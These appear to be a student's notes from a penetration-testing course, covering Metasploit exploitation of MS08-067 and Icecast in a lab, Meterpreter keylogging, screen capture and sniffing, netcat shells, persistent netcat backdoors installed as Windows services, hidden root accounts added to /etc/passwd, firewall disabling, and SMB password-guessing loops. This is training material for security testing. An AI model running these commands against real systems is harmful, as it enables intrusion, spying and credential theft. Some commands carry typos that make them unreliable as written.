ls

Windows Exploits ..3.30

cd /home/tools/framework-3.3.3/modules/exploits/windows
ls

Metasploit Exploits: Looking at Windows Server Service Exploit ..3.31

cd /home/tools/framework-3.3.3/modules/exploits/windows/smb
gedit ms08_067_netapi.rb

Metasploit Modules: Payloads ..3.32

cd /home/tools/framework-3.3.3/modules/payloads
ls

Metasploit Payloads: Windows Singles ..3.33

cd /home/tools/framework-3.3.3/modules/payloads/singles/windows
ls

Metasploit Payloads: Windows Stagers ..3.34

cd /home/tools/framework-3.3.3/modules/payloads/stagers/windows
ls

PassiveX Stager in Action ..3.35

Metasploit Payloads: Windows Stages ..3.36

cd /home/tools/framework-3.3.3/modules/payloads/stages/windows
ls

Updating Metasploit ..3.37

# svn update

This Concludes Our Tour ..3.38

Exercise: bind_tcp ..3.39

Metasploit Exercise ..3.40

Launching Metasploit ..3.41

# cd /home/tools/framework-3.3.3

rells our shell to run a version of the Ruby environment compatible with this version of metasploit

# source /opt/usenewruby.sh
# ./msfconsole
msf > 

because of a bug in the way metasploit handles color:

msf > color false

Looking at Exploit Arsenal ..3.42

msf > show exploits

Using Metaspoit's Search Feature ..3.43

msf > search -t exploit -r great smb

Selecting an Exploit and Reviewing Payloads ..3.44

msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > show payloads

Selecting a Payload and Reviewing Options ..3.45

msf exploit(ms08_067_netapi) > set PAYLOAD windows/shell/bind_tcp
PAYLOAD => windows/shell/bind_tcp
msf exploit(ms08_067_netapi) > show options

Running Local Commands in the MSF Console and Setting Options ..3.46

msf exploit(ms08_067_netapi) > ping -c 4 10.10.10.10
msf exploit(ms08_067_netapi) > set RHOST 10.10.10.10
msf exploit(ms08_067_netapi) > set LPORT [number]

Exploiting the Target ..3.47

msf exploit(ms08_067_netapi) > exploit
C:\WINNT\system32>hostname
hostname
trinity

Listing Metasploit Sessions ..3.48

msf exploit(ms08_067_netapi) > sessions -l

Interacting with a Session ..3.49

msf exploit(ms08_067_netapi) > sessions -i [N]

Exiting the Shell and the Metasploit Console ..3.50

C:\WINNT\system32>exit
exit
^C
Abort session 1? [y/N] y

[*] Command shell session 1 closed
msf exploit(ms08_067_netapi) > exit
#

The Meterpreter ..3.51

The Metasploit Meterpreter ..3.52

tasklist

To get a list of all DLL's loaded into all processes on a Windows XP, 2003, Vista or 2008 Server:

tasklist /m
tasklist /m metserv.dll
* since it is memory resident, it disappears on reboot.
How does a task not show up in tasklist?  This happened with a program in class, but killall got rid of it.

Meterpreter Functionality: Some Base Commands ..3.53

Meterpreter Functionality: File System Commands ..3.54

Meterpreter Functionality: Process Commands ..3.55

Meterpreter Functionality: Network Commands ..3.56

Meterpreter Functionality: Target Machine Console Interface ..3.57

meterpreter > idletime
meterpreter > uictl  [enable/disable] [keyboard/mouse]

Meterpreter Functionality: Keystroke Logger ..3.58

meterpreter > keyscan_start
meterpreter > keyscan_dump
meterpreter > keyscan_stop

Meterpreter Functionality: Pivoting using Metasploit's Route Command ..3.59

msf > use [exploit]
msf > set RHOST [victim1]
msf > set PAYLOAD windows/meterpreter/bind_tcp
msf > exploit
meterpreter > (CTRL-Z to background session... will display meterpreter sid)
msf > route add [victim2_subnet] [netmask] [sid]
msf > use [exploit2]
msf > set RHOST [victim2]
msf > set PAYLOAD [payload2]
msf > exploit

Meterpreter Functionality: Additional Modules ..3.60

meterpreter > use [modulename]

To load the ext_server_priv.dll:

meterpreter > use -m Priv

Meterpreter Functionality: Priv Module ..3.61

Meterpreter Functionality: espia Module ..3.62

meterpreter > screenshot [filename.bmp]
meterpreter > dev_image
meterpreter > dev_audio [n seconds]

Meterpreter Functionality: Sniffer Module ..3.63

meterpreter > user sniffer
meterpreter > sniffer_interfaces
meterpreter > sniffer_start 1
meterpreter > sniffer_dump 1 remotecapture.pcap
meterpreter > sniffer_stop 1

Exercise: Meterpreter ..3.64

Server-Side Exploitation and Meterpreter Exercise ..3.65

0) Install Vulnerable Icecast ..3.66

mkdir c:\icecasttemp

0) Disable Data Execution Prevention for Icecast ..3.68

0) Disable Certain Security Tools that Block Exploits ..3.69

1) Configure Metasploit ..3.70

# cd /home/tools/framework-3.3.3
# source /opt/usenewruby.sh
# ./msfconsole
msf > color false
msf > search icecast

Choose Exploit & Payload ..3.71

msf > use exploit/windows/http/icecast_header
msf exploit(icecast_header) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(icecast_header) > show options

1) Set Options ..3.72

msf exploit(icecast_header) > set RHOST [Your_Windows_IP_Address]
msf exploit(icecast_header) > set LHOST [YourLinuxIPaddr]
msf exploit(icecast_header) > set TARGET 0

1) Run Icecast on Windows ..3.73

1) Finish & 2) Sending Exploit ..3.74

msf exploit(icecast_header) > service iptables stop
c:\> ping [YourLinuxIPaddr]
msf exploit(icecast_header) > exploit

3) Look at and Interact with Reverse Meterpreter Session ..3.76

msf exploit(icecast_header) > sessions -l
msf exploit(icecast_header) > sessions -i 1
meterpreter >

4) Interact with Meterpreter: System Info ..3.77

meterpreter > sysinfo
meterpreter > getuid
meterpreter > ps (note the ProcessID for icecast2.exe)
meterpreter > help

4) Interact with Meterpreter: File System ..3.78

meterpreter > cd c:\
meterpreter > pwd
meterpreter > ls
meterpreter > cd c:\icecasttemp
meterpreter > ls

4) Interact with Meterpreter: More File System ..3.79

meterpreter > edit testfile.txt
meterpreter > cat testfile.txt

download file to Linux machine

meterpreter > download testfile.txt /tmp

in another window on the Linux machine:

# cat /tmp/testfile.txt

4) Interact with Meterpreter: Process Execution and Interaction ..3.80

meterpreter > execute -f cmd.exe -c
Process 3830 created.
Channel 6 created.
meterpreter > interact 6
...
c:\icecasttemp>hostname
hostname 
VistaLab

c:\icecasttemp>ipconfig
ipconfig
...
c:\exit
meterpreter >

4) Interact with Meterpreter: An Easier Way to Get Shell ..3.81

meterpreter > shell
C:\> hostname
C:\> ipconfig
C:\> dir
C:\> exit
meterpreter >

4) Interact with Meterpreter: Invoking the Sniffer ..3.82

meterpreter > use sniffer
meterpreter > sniffer_interfaces
meterpreter > sniffer_start [N]
c:\> ping [YourLinuxIPaddr]

back on the Linux system, dump the captured packets into a PCAP file

meterpreter > sniffer_dump [N] /tmp/vmnet1.pcap
meterpreter > sniffer_stop [N]

In another terminal window:

# wireshark /tmp/vmnet1/pcap

4) Interact with Meterpreter: Invoking Espia for Screenshots ..3.83

meterpreter > use espia
meterpreter > screeshot /tmp/my_screen.bmp

After the espia module takes the screenshot, you should see an image of your Windows screen open in the Firefox browser.

4) Interact with Meterpreter: Process Migration ..3.84

get current process ID

meterpreter > getpid

find notepad.exe

meterpreter > ps

jump to the new process

meterpreter > migrate [destination_process_ID]

may take several seconds to work, then get the new process ID

meterpreter > getpid

it should be notepad

4) Interact with Meterpreter: Keystroke Logging ..3.85

meterpreter > keyscan_start

Type some text into the notepad window

meterpreter > keyscan_dump

It may skip or reverse charaters, especially if someone types really fast

meterpreter > keyscan_stop

4) Exiting Meterpreter and Metasploit ..3.86

meterpreter > exit
msf exploit(icecast_header) > exit
#

Finally, Stop and Uninstall Icecast ..3.87

C:\> c:\icecasttemp\unins000.exe

c:\> rmdir /s c:\icecasttemp

Command Shell vs. Terminal Access ..3.88

Command Shell vs. Terminal Access ..3.89

Standard input Issues with Shell vs. Terminal ..3.90

Exercise: The Dilemma Illustrated ..3.91

Using Netcat for Shell Access to Windows Target ..3.92

C:\> nc -L -p 2222 -e cmd.exe

The Shell vs. Terminal Dilemma Illustrated on Windows ..3.93

# nc 10.10.10.76.2 2222

Display the computer name

C:\> hostname

Display who the current user is

C:\> set username
C:\> dir

Problem-some Termial Commans on Windows ..3.94

The clear screen commands will not clear the screen, but instead send the control characters to the shell

C:\> cls

Edit will not work either

C:\> edit file.txt

close the editor by hitting Esc, then ALT-F, and then X. Move to NO and hit Enter.

This command will fall through the password prompt.

runas /u:administrator cmd.exe

Even More Problems-some Terminal Commands on Windows ..3.95

List of running processes:

C:\> wmic process list full

List all Windows services:

C:\> sc query

List status of Telnet service:

C:\> sc qc tlntsvr

this hangs the shell

C:\> sc
C:\> sc /?

Using Netcat for Shell Access to Linux Target ..3.96

# nc -l -p 4444 -e /bin/sh

The Shell vs. Terminal Dilemma Illustrated on Linux ..3.97

C:\> cd c:\tools
C:\tools> nc 10.10.10.75.2 4444

no command prompt is displayed, but commands can still be issued

uname -a
whoami
ls

other commands: ifconfig, cd

Determining Your Terminal Status in Linux ..3.98

tty

Problem-some Terminal Commands on Linux ..3.99

vi
emacs file.txt
man ls

Even More Problem-some Terminal Commands on Linux ..3.100

The su and sudo commands on Linux ..3.101

These put the password prompt on the wrong terminal:

su
sudo

works fine

whoami
su - student

This won't work at all:

su -
whoami

this prompts the password on the wrong machine and you cannot enter a password through the client

sudo /bin/sh

If you Have Extra Time: Analyze telnet and ssh Clients ..3.102

Bypassing Dilemma ..3.103

Dealing with the Shell vs. Terminal Dilemma ..3.104

Windows Option 1: Command-by-Command Workarounds ..3.105-106

^ Command ^ Purpose ^ Possible Workaround(s) ^

C:\> cls Clear Screen Hit Enter several times
C:\> edit Edit file Use echo txt » file.txt
C:\> runas Run a command as a different user 1) just avoid this
2) Schedule a job using schtasks or at command
C:\> wmic Numerous uses
fine-grained system management
C:\> telnet telnet to next host Use a Netcat client with the -t option
C:\> ssh ssh to next host Get terminal access

* echo in windows does not need quotes (“ ”) around the text–it will also echo the quotes

Windows Option 2: Enabling Terminal Access ..3.107

Windows Terminal Access: Activating Windows Telnet Service ..3.108

C:\> sc query tlntsvr
C:\> sc config tlntsvr start= demand
C:\> sc start tlntsvr
c:\> pkgmgr /iu:”TelnetClient”
c:\> pkgmgr /iu:”TelnetServer
c:\> To uninstall, use /uu:
meterpreter > run gettelnet

Enabling Telnet Service - Finishing the Task ..3.109

C:\> net user [username] [password] /add
C:\> net localgroup TelnetClients /add
C:\> net localgroup TelnetClients [username] /add
C:\> netsh firewall add portopening protocol = TCP port = 23 name = telnet mode = enable scope = custom addresses = [yourIPaddress]

Windows Terminal Access: Activating Remote Desktop Service ..3.110

C:\> sc query termservice
C:\> sc config termservice start= demand
C:\> sc start termservice
C:\> reg add "hklm\system\currentcontrolset\control\terminal server" /v fdenytsconnextions /t reg_dword /d 0
meterpreter > run getgui

Enabling Remote Desktop – Finishing the Task ..3.111

C:\> netstat -na | find "3389"
C:\> net user [username] [password] /add
C:\> net localgroup "Remote Desktop Users" [username] /add
C:\> netsh firewall set service type = remotedesktop mode = enable scope = custom addresses = [yourIPaddress]

Installing Sshd on Windows ..3.112

Installing Sshd on Windows (2) ..3.113

C:\> netsh firewall add portopening protocol - TCP port = 22 name = sshd mode = enable scope = custom addresses = [yourIPaddr]

Getting VNC Server onto Windows ..3.114

Metasploit VNC Payload – Different Stager Options ..3.115

Command Line Install of WinVNC ..3.116-117

C:\> "c:\Program Files\RealVNC\VNC4\vncconfig.exe" -service
C:\> reg export HKLM\Software\RealVNC\WinVNC4 vncfile.reg
C:\> mkdir c:\Program Files\RealVNC
C:\> mkdir c:\Program Files\RealVNC\VNC4

WinVNC Install - Finalizing the Task ..3.118

C:\> reg import vncfile.reg
C:\> cd "C:\Program Files\RealVNC\VNC4"
C:\> winvnc4.exe -register
C:\> winvnc4.exe -start
C:\> netstat -na |find "5900"
C:\> netsh firewall add portopening protocol = TCP port = 5900 name - vnc mode = enable scope = custom addresses = [yourIPaddress]

Linux Option 1: Command-by-Command Workarounds ..3.119

Command Purpose Possible Workarounds
clear Clear Screen Hit Enter several times
vi
emacs
Edit a file 1) Use echo “txt” » file.txt
2) Use cat > file.txt «EOF to turn cat into a simple file editor, and type EOF when done building file
more Display a file or paginate output Use cat to display file, pagination is lost
su and sudo Access systm with privileges of another account or run command as another user 1) Avoid this
2) Use crontab to schedule a job
cat > file.txt <<EOF

Linux Option 1: More Command-by-Command Workarounds ..3.120

Command Purpose Possible Workarounds
C:\> telnet telnet to next host Use a Netcat client with the -t option
C:\> ssh Ssh to next host 1) Get terminal access
2) Use Netcat relay

Linux Option 2: Enabling Terminal Access ..3.121

useradd -o -u 0 [login_name]
passwd
noclobber – prevents overwriting a file with >
echo stuff | tee foo  (this will allow the file to be overwritten with noclobber set.

Adding Accounts via Lines in /etc/passwd and /etc/shadow ..3.122

echo "[login_name]:x:0:0:::/bin/bash" >> /etc/passwd
echo "[login_name]:\$1\$EluMoEqm\$vmSaGkfkPGJt0SvdMreEn.:13861:0:99999:7:::" >> /etc/shadow

Activating telnetd on Linux/Unix ..3.123

# ps aux |grep inetd
telnet stream txp nowait root /usr/sbin/tcp in.telnetd
telnet      23/tcp
disable = no
server = /usr/sbin/in.telnetd
# kill -HUP [processID]

Activating sshd on Linux/Unix ..3.124

# chkconfig sshd on
# service sshd start
# /etc/init.d/sshd start

Exercise: Relays for Term Access ..3.125

Getting Terminal Access Around Firewalls ..3.126

Netcat Relay ..3.127

To invoke a relay on target machine:

mknod backpipe p
nc -l -p [allowed_inbound_port] 0<backpipe |nc 127.0.0.1 22 1> backpipe

To connect:

ssh login_name@[targetmachine] -p [allowed_inbound_port]

Exercise: Using Netcat Relay to forward SSH ..3.128

Using Putty to SSH from Windows to Linux ..3.129

# service iptables stop
C:\> putty.exe [LinuxIPaddr]

should work

Implement Linux Firewall Rule to Block TCP 22 From Win ..3.130

# service iptables start
# iptables -A INPUT -s [YourWindowsIPaddr] -p tcp --dport 22 -j DROP
C:\> putty.exe [LinuxIPaddr]

should be denied

Implement ACCEPT Rule for Traffic to TCP 4444 ..3.131

# iptables -I INPUT 1 -s 10.10.75.218 -p tcp –dport 4444 -j ACCEPT

test the firewall with a nc pair:

# nc -l -p 4444
C:\> nc [YourLinuxIPaddr] 4444

Build a Relay from TCP 4444 to TCP 22 ..3.132

start a fifo on the Linux machine (On BSD, mkfifo)

# mknod backpipe p
# mc -l -p 4444 0<backpipe |nc localhost 22 1>backpipe

We are forwarding TCP connections that arrive on TCP port 4444 to the localhost system on TCP port 22, where ssh is listening

C:\> putty.exe [LinuxIPaddr] 4444

login and verify terminal access

# vi /tmp/stuff.txt

Run a sniffer ..3.133

# tcpdump -nn -i eth0 port 4444
# tcpdump -nn -i lo port 22

Cleaning up ..3.134

# iptables -D INPUT -s [Windows_IP_address] -p tcp --dport 22 -j drop
# iptables -D INPUT -s [Windows_IP_address] -p tcp --dport 4444 -j ACCEPT
# iptables -n --list

Moving Files with Exploits ..3.135

Moving Files to a Target: Push vs. Pull ..3.136

Moving Files to a Target: Using File Transfer Services ..3.137

Moving Files to a Target: Additional File Transfer Services ..3.138

Alternative Methods for File Transfer: Meterpreter, Paste

meterpreter > upload
meterpreter > download
meterpreter > cat
meterpreter > edit
$ echo "ths is part of the file >> file.txt
C:\> echo this is part of the file >> file.txt
C:\> copy con

Cross Platform Text Files ..3.140

Converting Files Formats using the tr command ..3.141

$ unix2dos
$ dos2unix

Windows to Unix:

tr -d '\r' < windowsfile.txt > unixfile.txt

Mac OS X to Unix:

tr '\r' '\n' < macfile.txt > unixfile.txt

Unix to Mac:

tr '\n' '\r' < unixfile.txt > macfile.txt

Pilfering from Target Machines ..3.142

Local File Pilfering Is Your Friend ..3.143

fgdump.exe
whosthere.exe

More to Pilfer ..3.144

File Pilfering Contunued ..3.145

More Stuff to Pilfer ..3.146

Windows:

C:\> netstat -na
C:\> arp -a
C:\> ipconfig /displaydns

Linux and Unix:

# netstat -natu
# arp -a
C:\> dir /s "c:\Program Files"

Windows Command Line Kung Fu for Pen Testers ..3.147

Windows Command-Line Kung Fu For Penetration Testers ..3.148

Why Focus on the Windows Command Shell ..3.149

Using Windows Shell for Maximum Effectiveness ..3.150

Analyzing a System: Displaying and Scraping Through Files ..3.151

Display the contents of a file on Standard Output:

C:\> type [file]

Looking at multiple files:

C:\> type *.txt 
C:\> type [file1] [file2] [...]

Displaying output one page at a time:

C:\> more [file]

Searching for a string within a file:

C:\> type [file] | find /i "[string]"

Searching for regular expressions:

C:\> type [file] | findstr [regex]

Other stray commands:

ipconfig /displaydns
arp -a
netstat -nr

Analyzing a System: Environment Variables ..3.152

To see all environment variables set within a shell:

C:\> set

To see a specific one:

C:\> set [variable_name]

or

C:\> echo %varname% %computername%

Some important environment variables for penetration testers and ethical hackers:

C:\> set username (almost like whoami)
C:\> set path

systemroot is important in case the root is not c:\. These are similar commands:

set systemroot
echo %systemroot%

also one can do this to display the present working directory:

cd %systemroot%
cd

pwd is:

cd

Analyzing a System: Searching the File System ..3.154

search fo a file in the filesystem

dir /b /s [directory]\[file] (no spaces)

search for hosts file in system root

C:\> dir /b /s %systemroot%\hosts

Managing Account and Groups ..3.155

List local users:

C:\> net user

List local groups:

C:\> net localgroup

List members of local admin group

C:\> net localgroup administrators

Add a user:

C:\> net user [logon_name] [password] /add

Put the user in the local admin group

C:\> net localgroup administrators [logon_name] /add

Deleting users and Accounts 3.156

To remove a user from a group:

C:\> net localgroup [group] [logon_name] /del

To delete an account:

C:\> net user [logon_name] /del

Analyzing a System: Determining Firewall Settings ..3.157

netsh interacts with network settings

netsh /?
netsh firewall show config
command shift click on task in taskbar to elevate to admin

Analyzing a System: Changing Firewall Settings ..3.158

Allow a given port inbound

C:\> netsh firewall add portopening protocol = [protocol] port = [port] name = [comment] scope = custom addresses = [allowed_source_IP/cidr]

Example: to allow inbound TCP port 23 from 10.10.10.0/24:

C:\> netsh firewall add portopening protocol = TCP port = 23 name = AllowTelnet scope = CUSTOM addresses = 10.10.10.0/24

To delete the rule:

C:\> netsh firewall del portopening protocol = [TCP|UDP] port = [portnum]
C:\> netsh firewall del portopening protocol = TCP port = 23

To disable the Windows firewall altogether:

C:\> netsh firewall set opmode disable

“enable” will turn it back on

Analyzing a Sysem: Interacting with the Registry ..3.159

read reg key:

C:\> reg query [KeyName]

Change a reg key

C:\> reg add [KeyName] /v [ValueName] /t [type] /d [Data]

Export settings to a reg file

C:\> reg export [KeyNmae] [filename.reg]

Import setting from a reg file

C:\> reg import [filename.reg]

Do any of these remotely by prepending

\\[MachineName before [KeyName]

requires Admin-level SMB session

Analyzing a System: Finding Other Machines ..3.160

other machines recently resolved

C:\> ipconfig /displaydns

machines recently communicated with

C:\> arp -a

Setting up SMB Sessions ..3.161

Set up a session with the target (if you don't provide a password, it will prompt for it)

C:\> net use \\[targetIP] [password] /u:[username]

Mount a share

C:\> net use * \\[targetIP]\[share] [password] /u:[user]

i.e.

\\[targetIP]\c$

Some versions of windows require specifying the machine name vefore the user:

/u:[MachineName]\[user]

Dropping SMB Sessions ..3.162

C:\> net use \\[targetIP] /del

to drop all sessions

C:\> net use * /del

- enter Y to continue or add /y

C:\> net use * /del /y

Controlling Services with SC ..3.163

List running services:

C:\> sc query

List all services

C:\> sc query state= all

Detail on one service

C:\> sc qc [service_name]

Starting and Stopping Services with the sc Command ..3.164

Start a service:

C:\> sc start [service_name]

If the service type is disabled, first enable it

C:\> sc config [service_name] start= demand

To stop:

C:\> sc stop [service_name]

Determining Service Names ..3.165

to list all of the service names

C:\> sc query state= all

gui

services.msc

WMIC

C:\> wmic service where (displayname like "%[whatever]%") get name
C:\> wmic service where (displayname like "%telnet%") get name

FOR Loops ..3.166

FOR /L Loops ..3.167

C:\> for /L %i in ([start],[step],[stop]) do [command]

run forever

C:\> for /L %i in (1,0,2) do echo Hello

simple counter

C:\> for /L %i in (1,1,255) do echo %i

i is always an integer

Pausing in Loops and Turning Off Command Echo ..3.168

pause for 4 seconds between each iteration

C:\> for /L %i in (1,1,255) do echo %i & ping -n 5 127.0.0.1
C:\> for /L %i in (1,1,255) do echo %i & ping -n 5 127.0.0.1 > null

run multiple commands:

[command1] & [command2]

run command1, and only run command2 if command1 succeeds without error:

[command1] && [command2]

We usually don't want our command(s) displayed each time through the loop, prepend command with @ to turn off echoing of command

C:\> for /L %i in (1,1,255) do @echo %i & @ping -n 5 127.0.0.1

Handling Output ..3.169

Redirect to nul

C:\> for /L %i in (1,1,255) do @echo %i & @ping -n 5 127.0.0.1 > null

Redirect Standard Error to nul

C:\> [command] 2>nul

save error messages by appending them to a file

C:\> [command] 2>>errorfile.txt

select output lines with a given string in them

... | find "[sting]"

print a blank line

C:\> echo.

beep

C:\> echo CTRL-G

A More Practical Example: FOR /L Ping Sweep ..3.170

C:\> for /L %i in (1,1,255) do @ping -n 1 10.10.10.%i | find "Reply"

Flexibility: FOR /F loops ..3.171

C:\> FOR /F ["options"] %i in ([stuff]) do [command]
C:\> for /F ["options"] %i in (file-set) do [command]
C:\> for /F ["options"] %i in ("string") do [command]
  command
C:\> for /F ["options"] %i in ('command') do [command]

FOR /F Loop Options ..3.172

Password Guessing with FOR /F ..3.173

C:\> for /f %i in (password.lst) do @echo %i & @net use \\[target_IP_addr] %i /u:[UserName] 2>nul && pause
... && echo UserName: %i >> success.txt

Converting Commands into Scripts ..3.174

C:\> echo [line] >> file.bat
F7 command history

Exercise: Challenges ..3.175

Windows Command-Line Challenge 1 ..3.177

C:\> pkgmgr /iu:"TelnetServer"

Use the sc command to enable the telnet service on your Windows machine.

C:\> sc \\[hostname] query state= all | more
$ telnet [WindowsIPaddr]

Windows Command-Line Challange 1: Cleaning up ..3.178

C:\> pkgmgr /uu:"TelnetServer"

Windows Command-Line Challenge 2 ..3.179

nslookup [IPaddr] [DNS_Server_IPaddr]

Windows Command-Line Challenge 3: Port Scan ..3.180

C:\> nc.exe -n -vv -w3 [targetIP] [startport-endport]

Scan TCP ports 1-90 (actually in reverse order) on 10.10.10.50

C:\> c:\tools\nc.exe-n -vv -w3 10.10.10.50 1-90

Windows Command-Line Challenge 3: Port Scan (2) ..3.181

A single netcat command to connect to a single port:

C:\> c:\tools\nc.exe -n -vv -w3 [targetIP] [port]
C:\> echo 21 >> ports.txt
C:\> echo 22 >> ports.txt
C:\> echo 23 >> ports.txt
C:\> echo 25 >> ports.txt

Windows Command-Line Challenge 4 ..3.182

Windows Command-Line Answer to Challenge 1 ..3.184-185

to change the startup type:

C:\> sc \\[hostname] config tlntsvr start= demand

to start the telnet service

C:\> sc \\[hostname] start tlntsvr

check if TelnetClients group exists

C:\> net localgroup TelnetClients

create the group if it does not exist

C:\> net localgroup TelnetClients /add

Add the user

C:\> net user fred [password] /add
C:\> net localgroup TelnetClients fred /add

from Linux

# telnet [YourWinIPaddr]

disable firewall if blocked

C:\> netsh firewall set opmode disable

test

C:\> hostname
C:\> set username

Remove fred from the telnet group

C:\> net localgroup TelnetClients fred /del

Delete user fred:

C:\> net user fred /del

Remove the TelnetClients group

C:\> net localgroup Telnetclients /del

Stop the telnet service

C:\> sc \\[hostname] stop tlntsvr

Change the telnet service's startup type

C:\> sc \\[hostname] config tlntsvr start= disabled

Re-enable the firewall

C:\> netsh firewall set opmode enabled

Windows Command-Line Answer to Challenge 2 ..3.187

C:\> for /L %i in (1,1,255) do @echo 10.10.10.%i: & @nslookup 10.10.10.%i 10.10.10.60 2>nul |find "Name"

to display only successful lookups

C:\> for /L %i in (1,1,255) do @nslookup 10.10.10.%i 10.10.10.60 2>nul | find "Name" && echo 10.10.10.%i

Windows Command-Line Answer to Challenge 3 ..3.188

C:\> for /f %i in (ports.txt) do @c:\tools\nc.exe -n -vv -w3 10.10.10.50 %i

Windows Command-Line Answers to Challenge 4 ..3.189

C:\> for /f %i in (password.lst) do @echo %i & @net use \\10.10.10.10 %i /u:falken 2>nul && pause

Day 4

Exploits and Password Attacks ..4.1

560.4 Table of Contents ..4.2

Making Win Run Commands ..4.3

1) Sysinternals psexec Command ..4.5

C:\> psexec \\[targetIP] [-d] [-u user] [-p password] [command]

1) The psexec Command in Action ..4.6

set up SMB session as admin user

C:\tools>net use \\10.10.10.10 /u:falken

Run ipconfig and see its output channelized

C:\tools>psexec \\10.10.10.10 ipconfig

Run cmd.exe and get access to its Standard In and Out inline…a remote shell

C:\tools>psexec \\10.10.10.10 cmd.exe

2) Scheduling a Job: The at and schtasks Commands ..4.7

net use \\[targetIP] [password] /u:[admin_user]
c:\> sc \\[targetIP] query schedule

If schedule service is not running, it can be started with:

C:\> sc \\[targetIP] start schedule

2) Using schtasks or at to Invoke an Executable ..4.8

Schedule a job

C:\> at [\\targetIP] [HH:MM][A|P] [command]

or

schtasks /create /tn [taskname] /s [targetIP /u [user] /p [password] /sc [frequency] /st [starttime] /sd [startdate] /tr [command]
c:\> at \\[targetIP]
C:\> schtasks /query /s [targetIP]

3) Using sc to Invoke an Executable ..4.9

C:\> net use \\[targetIP] [password] /u:[admin_user]
C:\> sc \\[targetIP] create [svcname] binpath= [command]
C:\> sc \\[targetIP] start [svcname]
binpath= "c:\tools\nc.exe -L -p 2222 -e cmd.exe"
C:\> sc \\[targetIP] start [svcname]

3 Making an Executable More Suitable as a Service ..4.10

c:>\ sc \\[targetIP] create [svcname] binpath= “cmd.exe /k [command]”

to use the sc command to run a Netcat (nc.exe) backdoor persistent listener (-L) on local TCP port(-p) 2222 giving remote command shell access (-e cmd.exe), assuming nc.exe is located in c:\tools

C:\> sc \\[targetIP] create netcat binpath= "cmd.exe /k c:\tools\nc.exe -L -p 2222 -e cmd.exe"
C:\> sc \\[targetIP] delete [svcname]

4) Using WMIC to Invoke a Program ..4.11

C:\> wmic /node:[targetIP] /user:[admin_user] /password:[password] process call create [command]

4 Interacting with Processes using WMIC ..4.12

list processes on a target with:

C:\> wmic /node:[targetIP] /user:[admin_user] /password:[password] process list brief

kill a process on a target by PID with:

C:\> wmic /node:[targetIP] /user:[admin_user] /password:[password] process where processid="[PID]" delete

kill a process on a target by name with:

C:\> wmic /node:[targetIP] /user:[admin_user] /password:[password] process where name="[name]" delete

Exercise: sc and wmic ..4.13

Exercise: Making Commands Run on Windows ..4.14

C:\> nc.exe -l -p 2222 -e cmd.exe

Practice with Netcat Backdoor ..4.15

victim: C:\> c:\tools\nc.exe -l -p 2222 -e cmd.exe
attacker: C:\> c:\tools\nc.exe 127.0.0.1 2222

Using SC to create a Service ..4.16

attacker: C:\> hostname
attacker: C:\> sc \\[YourHostname] create ncservice binpath= "c:\tools\nc.exe -l -p 2222 -e cmd.exe"

Use hostname and not ip address locally. IP address works fine remotely.

attacker: C:\> sc \\[YourHostname] query ncservice

it should be stopped

Watching for the Port and Starting the Service ..4.17

victim: C:\> netstat -ano 1 |find "2222"

if the port is in use, for this exercise, kill it with:

victim: C:\> taskkill /PID [process_ID]

Once the monitor is in place:

attacker C:\> sc \\[YourHostname] start ncservice

After 30 seconds, the listener will be killed by the system

Making it stick - Using sc to Start a cmd.exe to Start Netcat ..4.18

stop the netstat command on the victim window with CTRL-C

Delete our original ncservice and replace with a more persistent listener

attacker: C:\> sc \\[YourHostname] delete ncservice

restart the monitor

victim: C:\> netstat -nao 1 | find "2222"
attacker: C:\> sc \\[YourHostname] create ncservice2 binpath= "cmd.exe /k c:\tools\nc.exe -l -p 2222 -e cmd.exe"
attacker: C:\> sc \\[YourHostname] start ncservice2

The sc command should hand and then fail with the same error message, but now, the listener should still be up with port 2222 staying open

Connect to our listener ..4.19

attacker: C:\> c:\tools\nc.exe 127.0.0.1 2222

Cleaning Up ..4.20

Kill Netcat client by hitting CTRL-C in the attacker window and stop netstat in the victim window

delete your ncservice2

attacker: C:\> sc \\[YourHostname] delete ncservice2

verify that port 2222 is no longer listening

victim: C:\> nestat -ano |find "2222"

A Simpler Way: Using WMIC to Run a Command Remotely ..4.21

To be different, we will use wmic to monitor instead of netstat

victim: C:\> wmic process where name="nc.exe" list brief /every:1

Invoke Netcat Using the wmic Command ..4.22

attacker: C:\> wmic process call create "c:\tools\nc.exe -l -p 4444 -e cmd.exe"

for remote operation add:

C:\> wmic /node:[YourHostname] /user:[AdminUser] /password: [password] ...
attacker: C:\> c:\tools\nc.exe 127.0.0.1 4444

Try some commands: hostname, ipconfig, dir…hit CTRL-C when finished

That Annoying Console Window ..4.23

C:\> wmic process call create "c:\tools\nc.exe -d -l -p 4444 -e cmd.exe"

to finish:

C:\> wmic process where name="nc.exe" delete

Password Attacks ..4.24

Motivation and Defs ..4.25

The Primacy of Passwords ..4.26

Password Guessing vs Password Cracking ..4.27

Password Attack Tips ..4.28

Tips for Password Attacks: Synched Password ..4.29

Tips for Password Attacks: Synced Passwords May Vary Case ..4.30

Tips for Password Attacks: Dictionaries ..4.31

cat wordlist.txt |sort |uniq > dictionary.txt

Tips for Password Attacks: Making Custom Dictionaries ..4.32

$ mkdir /tmp source
$ cd /tmp/source
$ wget -r -l [N] [target_website]
$ cd ..
$ grep -h -r "" source | tr '[:space:]' '\n' | sort | uniq > worklist.lst
$ grep -v '<' wordlist.lst > newlist.lst

Tips for Password Attacks: Dictionaries ..4.33

Tips for Password Attacks: Improving Speed ..4.34

Tips for Password Attacks: Passwords without Cracking ..4.35

Tips for Password Attacks: Be Careful of Info Leakage ..4.36

Tips for Password Attacks: Tread Lightly ..4.37

Tips for Password Attacks: At the Completion of the Test ..4.38

Account Lockout ..4.39

Account Lockout ..4.40

Account Lockout on Windows ..4.41

C:\> net accounts
C:\> net accounts /domain

Admin Account Lockout on Windows ..4.42

C:\> wmic useraccount list brief

Account Lockout on Linux / Unix ..4.43

Linux / Unix Account Lockout with PAM Tally ..4.44

# grep tally /etc/pam.d/*
# grep tally /etc/pam.conf
auth required /lib/security/pam_tally.so deny=5 onerr=fail lock_time=180 reset no_magic_root

Account Lockout: Safer Approaches ..4.45

A Final Approach: Experiment with Account Lockout ..4.46

* Create one or more test accounts

In Case of Extreme Emergency ..4.47

# faillog -r -u [login_name]

A boot sector for USB or CD-ISO

Password Guessing with THC-Hydra ..4.48

Password Guessing: THC-Hydra ..4.49

Trimming Wordlists with pw-inspector ..4.50

Hydra Exercise ..4.51

Exercise Scenario ..4.52

Reviewing Wordlist ..4.53

copy password list from John the Ripper and start tweaking

# cp /home/tools/john-1.7*/run/password.lst /tmp

